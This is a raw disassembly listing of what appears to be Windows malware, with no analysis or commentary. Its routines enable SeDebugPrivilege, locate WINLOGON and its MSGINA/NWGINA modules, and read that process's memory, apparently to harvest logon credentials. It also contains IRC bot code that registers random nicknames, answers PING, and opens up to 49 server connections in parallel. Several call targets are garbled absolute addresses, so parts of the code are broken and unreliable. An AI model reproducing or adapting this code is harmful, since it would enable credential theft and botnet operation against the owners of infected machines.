call esi
push edi
mov edi, offset dword_4D3CC0
push edi
push offset off_43811C
call esi
cmp [ebp+var_4], 1
push offset dword_4D46D8
push [ebp+arg_0]
jnz short loc_417013
call sub_417276
jmp short loc_417018
; ---------------------------------------------------------------------------
loc_417013: ; CODE XREF: sub_416F1B+EFj
call sub_41741D
loc_417018: ; CODE XREF: sub_416F1B+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_417060
cmp dword_4D46D8, 0
jnz short loc_417047
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_4380C0
push 200h
push eax
call sub_41B980
add esp, 18h
jmp short loc_41707A
; ---------------------------------------------------------------------------
loc_417047: ; CODE XREF: sub_416F1B+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_417057
call sub_417553
jmp short loc_41705C
; ---------------------------------------------------------------------------
loc_417057: ; CODE XREF: sub_416F1B+133j
call sub_4175EA
loc_41705C: ; CODE XREF: sub_416F1B+13Aj
pop ecx
push eax
jmp short loc_41706C
; ---------------------------------------------------------------------------
loc_417060: ; CODE XREF: sub_416F1B+101j
push offset unk_438088
jmp short loc_41706C
; ---------------------------------------------------------------------------
loc_417067: ; CODE XREF: sub_416F1B+B6j
push offset unk_43805C
loc_41706C: ; CODE XREF: sub_416F1B+143j
; sub_416F1B+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41707A: ; CODE XREF: sub_416F1B+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419652
pop ecx
pop ecx
push [ebp+var_8]
call near ptr 27C04C9h
nop
pop ebx
jmp short loc_4170A7
; ---------------------------------------------------------------------------
loc_417094: ; CODE XREF: sub_416F1B+4Ej
push offset unk_438028
loc_417099: ; CODE XREF: sub_416F1B+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_4170A7: ; CODE XREF: sub_416F1B+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_4170CE
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409A73
add esp, 14h
loc_4170CE: ; CODE XREF: sub_416F1B+191j
lea eax, [ebp+var_29C]
push eax
call sub_4151AD
push [ebp+var_18]
call sub_40B413
pop ecx
pop ecx
push esi
nop
call near ptr 2710000h
pop edi
pop esi
sub_416F1B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4170ED proc near ; CODE XREF: sub_416F1B+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_427148
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, dword_427144
push eax
call edi
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D44CC
push ebp
push 0
call esi
push eax
nop
call near ptr 27D0000h
push [esp+28h+var_14]
push 8
call esi
push eax
call edi
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D44CC
test eax, eax
jnz short loc_4171DA
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_4171DA
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_4171DA
loc_417176: ; CODE XREF: sub_4170ED+EBj
cmp word ptr [ebx+8], 5
jnz short loc_4171CD
push 0
push 0
call dword_4D44C0
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D46D0
test eax, eax
jnz short loc_4171BE
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4171F2
loc_4171BE: ; CODE XREF: sub_4170ED+AAj
test edi, edi
jz short loc_4171C9
push edi
call dword_4D44C8
loc_4171C9: ; CODE XREF: sub_4170ED+D3j
mov eax, [esp+28h+var_10]
loc_4171CD: ; CODE XREF: sub_4170ED+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_417176
loc_4171DA: ; CODE XREF: sub_4170ED+6Dj
; sub_4170ED+7Aj ...
xor edi, edi
loc_4171DC: ; CODE XREF: sub_4170ED+17Dj
push ebp
push 0
call esi
push eax
call near ptr 27D0000h
nop
mov eax, edi
loc_4171EA: ; CODE XREF: sub_4170ED+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_4171F2: ; CODE XREF: sub_4170ED+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_41725B
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_417208: ; CODE XREF: sub_4170ED+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41726F
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41724D
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_41724D: ; CODE XREF: sub_4170ED+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_417208
loc_41725B: ; CODE XREF: sub_4170ED+10Fj
test edi, edi
jz short loc_417266
push edi
call dword_4D44C8
loc_417266: ; CODE XREF: sub_4170ED+170j
mov edi, [esp+28h+var_4]
jmp loc_4171DC
; ---------------------------------------------------------------------------
loc_41726F: ; CODE XREF: sub_4170ED+13Cj
xor eax, eax
jmp loc_4171EA
sub_4170ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417276 proc near ; CODE XREF: sub_416F1B+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
nop
call near ptr 26B0259h
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_41729F
xor eax, eax
jmp loc_41741A
; ---------------------------------------------------------------------------
loc_41729F: ; CODE XREF: sub_417276+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
nop
call near ptr 27F02E4h
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_427148
push 8
call esi
mov edi, dword_427144
push eax
call edi
lea ecx, [ebp+var_8]
mov ebx, dword_427150
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx
test eax, eax
jnz short loc_4172EF
xor esi, esi
jmp loc_41740D
; ---------------------------------------------------------------------------
loc_4172EF: ; CODE XREF: sub_417276+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
nop
call near ptr 27E0CA8h
test eax, eax
jz loc_4173FC
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4173FC
test [ebp+var_2B], 1
jnz loc_4173FC
push [ebp+var_34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx
test eax, eax
jz loc_4173FC
loc_417352: ; CODE XREF: sub_417276+112j
push edi
push offset dword_4D34C0
call sub_426762
pop ecx
test eax, eax
pop ecx
jnz short loc_41737A
lea eax, [edi+200h]
push eax
push offset dword_4D3CC0
call sub_426762
pop ecx
test eax, eax
pop ecx
jz short loc_41738A
loc_41737A: ; CODE XREF: sub_417276+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4173FC
jmp short loc_417352
; ---------------------------------------------------------------------------
loc_41738A: ; CODE XREF: sub_417276+102j
test edi, edi
jz short loc_4173FC
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
nop
call near ptr 2780000h
test eax, eax
jz short loc_4173C5
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
nop
call near ptr 27707B3h
test eax, eax
jz short loc_4173C5
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_4173C5: ; CODE XREF: sub_417276+12Bj
; sub_417276+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D46E4, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D46DC, eax
mov dword_4D46E0, edi
loc_4173FC: ; CODE XREF: sub_417276+90j
; sub_417276+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
nop
call near ptr 27D0000h
mov esi, [ebp+var_10]
loc_41740D: ; CODE XREF: sub_417276+74j
push [ebp+var_4]
call near ptr 2690934h
nop
pop edi
mov eax, esi
pop ebx
loc_41741A: ; CODE XREF: sub_417276+24j
pop esi
leave
retn
sub_417276 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41741D proc near ; CODE XREF: sub_416F1B:loc_417013p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
nop
call near ptr 26B0259h
test eax, eax
mov [ebp+arg_0], eax
jz loc_41750F
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call near ptr 27F02E4h
nop
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_417506
mov edi, dword_427148
loc_417468: ; CODE XREF: sub_41741D+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
nop
call near ptr 27E0CA8h
test eax, eax
jz short loc_4174F4
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4174FA
test [ebp+var_13], 1
jnz short loc_4174FA
push ecx
push 8
call edi
push eax
nop
call near ptr 27E0000h
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call near ptr 27F0000h
nop
test eax, eax
jz short loc_4174E6
push offset dword_4D34C0
push esi
call sub_426762
pop ecx
test eax, eax
pop ecx
jnz short loc_4174E6
lea eax, [esi+400h]
push offset dword_4D3CC0
push eax
call sub_426762
pop ecx
test eax, eax
pop ecx
jz short loc_417516
loc_4174E6: ; CODE XREF: sub_41741D+9Fj
; sub_41741D+B0j
push esi
push 0
call edi
push eax
call near ptr 27D0000h
nop
jmp short loc_4174FA
; ---------------------------------------------------------------------------
loc_4174F4: ; CODE XREF: sub_41741D+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4174FA: ; CODE XREF: sub_41741D+71j
; sub_41741D+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_417468
loc_417506: ; CODE XREF: sub_41741D+3Fj
push [ebp+arg_0]
nop
call near ptr 2690934h
loc_41750F: ; CODE XREF: sub_41741D+1Ej
xor eax, eax
loc_417511: ; CODE XREF: sub_41741D+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417516: ; CODE XREF: sub_41741D+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D46DC, ebx
mov dword_4D46E0, eax
cmp [eax], cl
jnz short loc_417538
cmp [eax+1], cl
jz short loc_417540
loc_417538: ; CODE XREF: sub_41741D+114j
; sub_41741D+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_417538
loc_417540: ; CODE XREF: sub_41741D+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
nop
call near ptr 2690934h
push 1
pop eax
jmp short loc_417511
sub_41741D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417553 proc near ; CODE XREF: sub_416F1B+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D46D8
push esi
mov esi, dword_427148
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
nop
call near ptr 27E0000h
mov ecx, dword_4D46D8
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D46E0
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D46E4
push eax
call dword_4D44C4
push [ebp+var_4]
mov edi, offset dword_4D44D0
push offset dword_4D34C0
push offset dword_4D3CC0
push [ebp+arg_0]
push offset dword_438244
push 200h
push edi
call sub_41B980
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
nop
call near ptr 27D0000h
mov eax, edi
pop edi
pop esi
leave
retn
sub_417553 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175EA proc near ; CODE XREF: sub_416F1B:loc_417057p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D46D8
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
nop
call near ptr 27E0C3Ch
push eax
nop
call near ptr 27E0000h
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D3CC0
mov edi, 200h
mov esi, offset dword_4D32C0
loc_417630: ; CODE XREF: sub_4175EA+FAj
mov eax, dword_4D46D8
add eax, eax
push eax
push dword_4D46E0
push [ebp+var_14]
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D44C4
mov eax, dword_4D46D8
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_4176A5
loc_41766D: ; CODE XREF: sub_4175EA+B3j
cmp [ebp+var_8], 0
jz short loc_4176C2
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417691
cmp byte ptr [ecx+1], 0
jnz short loc_417691
cmp dl, 20h
jnb short loc_41768B
and [ebp+var_8], 0
loc_41768B: ; CODE XREF: sub_4175EA+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417695
loc_417691: ; CODE XREF: sub_4175EA+90j
; sub_4175EA+96j
and [ebp+var_8], 0
loc_417695: ; CODE XREF: sub_4175EA+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_41766D
cmp [ebp+var_8], 0
jz short loc_4176C2
loc_4176A5: ; CODE XREF: sub_4175EA+81j
push [ebp+var_14]
push offset dword_4D34C0
push ebx
push [ebp+arg_0]
push offset dword_438244
push edi
push esi
call sub_41B980
add esp, 1Ch
jmp short loc_4176DA
; ---------------------------------------------------------------------------
loc_4176C2: ; CODE XREF: sub_4175EA+87j
; sub_4175EA+B9j
push offset dword_4D34C0
push ebx
push [ebp+arg_0]
push offset dword_438294
push edi
push esi
call sub_41B980
add esp, 18h
loc_4176DA: ; CODE XREF: sub_4175EA+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_417630
push [ebp+var_14]
push 0
nop
call near ptr 27E0C3Ch
push eax
nop
call near ptr 27D0000h
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4175EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417703 proc near ; CODE XREF: sub_4178BB+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CB6D4
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_41777F
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB654
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CB694
cmp eax, esi
jnz short loc_417764
push [ebp+arg_0]
call dword_4CB6D8
test eax, eax
jz short loc_41777F
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417764: ; CODE XREF: sub_417703+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB5FC
cmp eax, esi
jnz short loc_417783
push edi
call dword_4CB6EC
loc_41777F: ; CODE XREF: sub_417703+1Bj
; sub_417703+58j
mov eax, esi
jmp short loc_417785
; ---------------------------------------------------------------------------
loc_417783: ; CODE XREF: sub_417703+73j
mov eax, edi
loc_417785: ; CODE XREF: sub_417703+7Ej
pop edi
pop esi
leave
retn
sub_417703 endp
; =============== S U B R O U T I N E =======================================
sub_417789 proc near ; CODE XREF: sub_401ACD+3295p
; sub_401ACD+3301p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42A0A4 ; "\n"
push edi
call sub_41BEC0
pop ecx
mov esi, offset dword_4D46EC
pop ecx
loc_4177A1: ; CODE XREF: sub_417789+42j
cmp dword ptr [esi-4], 1
jnz short loc_4177BF
cmp dword ptr [esi], 0
jbe short loc_4177BF
push 0
push edi
call sub_41AFE0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CB6A4
loc_4177BF: ; CODE XREF: sub_417789+1Cj
; sub_417789+21j
add esi, 210h
cmp esi, offset dword_4DAE0C
jl short loc_4177A1
pop edi
pop esi
retn
sub_417789 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177D0 proc near ; CODE XREF: sub_4178BB+155p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42D128 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41C0F4
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_4177F5: ; CODE XREF: sub_4177D0+35j
push esi
push 0
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_4177F5
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_41781D
cmp esi, edi
jnz short loc_41781D
push 1
pop eax
jmp loc_4178B6
; ---------------------------------------------------------------------------
loc_41781D: ; CODE XREF: sub_4177D0+3Fj
; sub_4177D0+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41C070
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417838
push offset dword_438EA4
jmp short loc_417886
; ---------------------------------------------------------------------------
loc_417838: ; CODE XREF: sub_4177D0+5Fj
push offset a433 ; "433"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_417859
push esi
push offset dword_438EA0
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4178B4
loc_417859: ; CODE XREF: sub_4177D0+76j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41B590
lea eax, [ebp+var_420]
push eax
call sub_417ADE
add esp, 10h
lea eax, [ebp+var_420]
push eax
push offset dword_438E94
loc_417886: ; CODE XREF: sub_4177D0+66j
lea eax, [ebp+var_220]
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_220]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CB6A4
loc_4178B4: ; CODE XREF: sub_4177D0+87j
xor eax, eax
loc_4178B6: ; CODE XREF: sub_4177D0+48j
pop edi
pop esi
pop ebx
leave
retn
sub_4177D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178BB proc near ; DATA XREF: sub_417A60+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41BB20
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D46F4[esi]
mov dword_4D46E8[esi], edi
push dword_4D48F4[esi]
push eax
call sub_417703
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D46EC[esi], eax
jb loc_417A40
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41B590
lea eax, [ebp+var_2008]
push eax
call sub_417ADE
lea eax, [ebp+var_4008]
push eax
call sub_417ADE
lea eax, [ebp+var_3008]
push eax
call sub_417ADE
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D46EC[esi]
call dword_4CB6A4
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
loc_417997: ; CODE XREF: sub_4178BB+111j
; sub_4178BB+180j
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D46EC[esi]
call dword_4CB66C
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417A40
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417997
loc_4179CE: ; CODE XREF: sub_4178BB+17Ej
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_4179F5
cmp al, 0Ah
jz short loc_4179F5
cmp [ebp+arg_0], 0FA0h
jz short loc_4179F5
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417A2F
; ---------------------------------------------------------------------------
loc_4179F5: ; CODE XREF: sub_4178BB+11Cj
; sub_4178BB+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417A2F
push dword_4D46EC[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
ja short loc_417A40
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417A2F: ; CODE XREF: sub_4178BB+138j
; sub_4178BB+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_4179CE
jmp loc_417997
; ---------------------------------------------------------------------------
loc_417A40: ; CODE XREF: sub_4178BB+40j
; sub_4178BB+107j ...
mov dword_4D46E8[esi], ebx
mov esi, dword_4D46EC[esi]
cmp esi, ebx
jbe short loc_417A57
push esi
call dword_4CB6EC
loc_417A57: ; CODE XREF: sub_4178BB+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_4178BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417A60 proc near ; CODE XREF: sub_401ACD+31E2p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417AD9
loc_417A72: ; CODE XREF: sub_417A60+77j
xor edi, edi
mov eax, offset dword_4D46E8
loc_417A79: ; CODE XREF: sub_417A60+28j
cmp [eax], ebx
jz short loc_417A8A
add eax, 210h
inc edi
cmp eax, offset dword_4DAE08
jl short loc_417A79
loc_417A8A: ; CODE XREF: sub_417A60+1Bj
cmp edi, 31h
jz short loc_417AD9
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D46F4[esi]
push eax
call sub_41BEB0
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D48F4[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D46E8[esi], 1
push eax
push ebx
push edi
push offset sub_4178BB
push ebx
push ebx
nop
call near ptr 26B0000h
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417A72
loc_417AD9: ; CODE XREF: sub_417A60+10j
; sub_417A60+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417A60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417ADE proc near ; CODE XREF: sub_401ACD+374Ep
; sub_401ACD+3794p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B590
add esp, 0Ch
call sub_41B8E2
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4276F0
call sub_41C798
cmp eax, 1
jnz short loc_417B28
call sub_41B8E2
call sub_41B8E2
push 66h
cdq
pop ecx
idiv ecx
push off_4385E8[edx*4]
jmp short loc_417B41
; ---------------------------------------------------------------------------
loc_417B28: ; CODE XREF: sub_417ADE+2Fj
call sub_41B8E2
call sub_41B8E2
cdq
mov ecx, 0C0h
idiv ecx
push off_4382E8[edx*4]
loc_417B41: ; CODE XREF: sub_417ADE+48j
lea eax, [ebp+var_2C]
push eax
call sub_41BEB0
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41AFE0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276E8
call sub_41C798
mov ebx, eax
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E0
call sub_41C798
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_417BB4
cmp esi, 3
jnz short loc_417BAB
cmp ebx, 1
jz short loc_417BB4
loc_417BAB: ; CODE XREF: sub_417ADE+C6j
cmp eax, 1
jnz loc_417C6E
loc_417BB4: ; CODE XREF: sub_417ADE+C1j
; sub_417ADE+CBj
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
push off_4385E8[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41BEB0
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41BFB0
add esp, 10h
test eax, eax
jnz short loc_417C5B
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5B
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E0
call sub_41C798
cmp eax, 1
jnz short loc_417C5B
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4276E0
call sub_41C798
